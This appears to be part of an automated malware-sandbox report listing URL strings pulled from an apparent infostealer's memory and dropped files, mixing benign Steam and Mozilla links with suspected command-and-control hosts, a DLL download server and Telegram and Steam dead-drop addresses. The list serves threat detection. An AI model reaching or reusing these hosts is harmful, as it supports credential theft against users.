Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://5.75.211.162
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/freebl3.dllT
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/msvcp140.dllN
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/msvcp140.dllZ
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/nss3.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/sqlp.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/sqlp.dllJ
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/vcruntime140.dllQ:
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/vcruntime140.dllf:
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/x
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162FCBKF
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162h;
Source: EGIIJD.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: EGIIJD.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EGIIJD.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EGIIJD.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegAsm.exe, 0000000D.00000002.2962425242.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/api
Source: EGIIJD.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EGIIJD.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EGIIJD.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/apir
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: GIJEGD.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.s
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962613182.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/api
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/pi
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/vS
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privac
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: FHCGCA.3.dr	String found in binary or memory: https://support.mozilla.org
Source: FHCGCA.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHCGCA.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
